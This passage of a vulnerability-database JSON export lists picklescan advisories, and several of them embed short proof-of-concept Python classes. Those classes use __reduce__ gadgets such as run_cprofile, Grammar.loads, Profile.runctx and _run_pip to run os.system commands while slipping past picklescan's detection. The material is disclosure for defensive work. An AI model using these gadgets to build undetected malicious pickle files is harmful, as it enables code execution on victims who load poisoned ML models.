`n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
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                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-rrxm-2pvv-m66x"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-rrxm-2pvv-m66x"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-a31m-q2ca-w7em"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360651?format=api",
            "vulnerability_id": "VCID-av36-fvk2-23be",
            "summary": "Picklescan missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_cprofile\n### Summary\n\nUsing torch.utils.bottleneck.__main__.run_cprofile\n function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_cprofile\n function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport torch.utils.bottleneck.__main__ as bottleneck_main\n\nclass EvilTorchUtilsBottleneckRunCprofile:\n    def __reduce__(self):\n        code = '__import__(\"os\").system(\"whoami\")'\n        globs = {}\n        return bottleneck_main.run_cprofile, (code, globs)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/47",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/47"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4r9r-ch6f-vxmx",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4r9r-ch6f-vxmx"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-4r9r-ch6f-vxmx",
                    "reference_id": "GHSA-4r9r-ch6f-vxmx",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-4r9r-ch6f-vxmx"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89080?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.28",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
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                        },
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                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
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                            "vulnerability": "VCID-pfmh-d33z-9ka8"
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                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
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                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
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                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
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                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.28"
                }
            ],
            "aliases": [
                "GHSA-4r9r-ch6f-vxmx"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-av36-fvk2-23be"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212596?format=api",
            "vulnerability_id": "VCID-ay9k-cbe6-wye5",
            "summary": "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-97f8-7cmv-76j2",
                    "reference_id": "GHSA-97f8-7cmv-76j2",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
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                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2",
                    "reference_id": "GHSA-97f8-7cmv-76j2",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
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                        {
                            "value": "7.1",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/39354?format=api",
                    "purl": "pkg:pypi/picklescan@1.0.3",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@1.0.3"
                }
            ],
            "aliases": [
                "GHSA-97f8-7cmv-76j2"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ay9k-cbe6-wye5"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360631?format=api",
            "vulnerability_id": "VCID-b4zf-mwfc-53bm",
            "summary": "Picklescan has a missing detection when calling built-in python lib2to3.pgen2.grammar.Grammar.loads\n### Summary\n\nUsing lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass Evil:\n    def __reduce__(self):\n        import os\n        return (os.system, ('whoami',))\n\nclass EvilLib2to3Pgen2GrammarLoads:\n    def __reduce__(self):\n        from lib2to3.pgen2.grammar import Grammar\n        payload = pickle.dumps(Evil())\n        # payload = b'\\x80\\x04\\x95!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x05posix\\x94\\x8c\\x06system\\x94\\x93\\x94\\x8c\\x06whoami\\x94\\x85\\x94R\\x94.'\n        return Grammar().loads, (payload,)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f54q-57x4-jg88",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f54q-57x4-jg88"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-f54q-57x4-jg88",
                    "reference_id": "GHSA-f54q-57x4-jg88",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-f54q-57x4-jg88"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
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                        },
                        {
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                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
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            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-b4zf-mwfc-53bm"
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        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360673?format=api",
            "vulnerability_id": "VCID-b8nm-k5xu-yfc8",
            "summary": "Picklescan has a missing detection when calling built-in python profile.Profile.runctx\n### Summary\n\nUsing profile.Profile.runctx, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to profile.Profile.runctx function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilProfileRunctx:\n    def __reduce__(self):\n        from profile import Profile\n        payload = \"__import__('os').system('whoami')\"\n        return Profile.runctx, (Profile(), payload, {}, {})\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6vqj-c2q5-j97w",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6vqj-c2q5-j97w"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-6vqj-c2q5-j97w",
                    "reference_id": "GHSA-6vqj-c2q5-j97w",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-6vqj-c2q5-j97w"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
                "GHSA-6vqj-c2q5-j97w"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-b8nm-k5xu-yfc8"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360710?format=api",
            "vulnerability_id": "VCID-be29-rx33-b7dp",
            "summary": "Duplicate Advisory: Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-769v-p64c-89pr. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1889",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1889"
                },
                {
                    "reference_url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1889"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v",
                    "reference_id": "GHSA-655q-fx9r-782v",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-hw34-rqc5-h2gm",
                    "reference_id": "GHSA-hw34-rqc5-h2gm",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-hw34-rqc5-h2gm"
                }
            ],
            "fixed_packages": [],
            "aliases": [
                "GHSA-hw34-rqc5-h2gm"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-be29-rx33-b7dp"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360666?format=api",
            "vulnerability_id": "VCID-bepy-gm8w-83e5",
            "summary": "Picklescan is missing detection when calling built-in python ensurepip._run_pip\n### Summary\n\nUsing ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom ensurepip import _run_pip\n\nclass EvilEnsurepipRunpip:\n    def __reduce__(self):\n        payload = \"[(__import__('os').system('whoami'),)]\"\n        return _run_pip, (payload,)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-xp4f-hrf8-rxw7",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-xp4f-hrf8-rxw7"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-xp4f-hrf8-rxw7",
                    "reference_id": "GHSA-xp4f-hrf8-rxw7",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-xp4f-hrf8-rxw7"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-xp4f-hrf8-rxw7"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-bepy-gm8w-83e5"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/115854?format=api",
            "vulnerability_id": "VCID-bgy1-36ca-fudc",
            "summary": "picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-1889",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00057",
                            "scoring_system": "epss",
                            "scoring_elements": "0.18176",
                            "published_at": "2026-06-12T12:55:00Z"
                        },
                        {
                            "value": "0.00057",
                            "scoring_system": "epss",
                            "scoring_elements": "0.18168",
                            "published_at": "2026-06-14T12:55:00Z"
                        },
                        {
                            "value": "0.00057",
                            "scoring_system": "epss",
                            "scoring_elements": "0.18017",
                            "published_at": "2026-06-11T12:55:00Z"
                        },
                        {
                            "value": "0.00057",
                            "scoring_system": "epss",
                            "scoring_elements": "0.18193",
                            "published_at": "2026-06-13T12:55:00Z"
                        }
                    ],
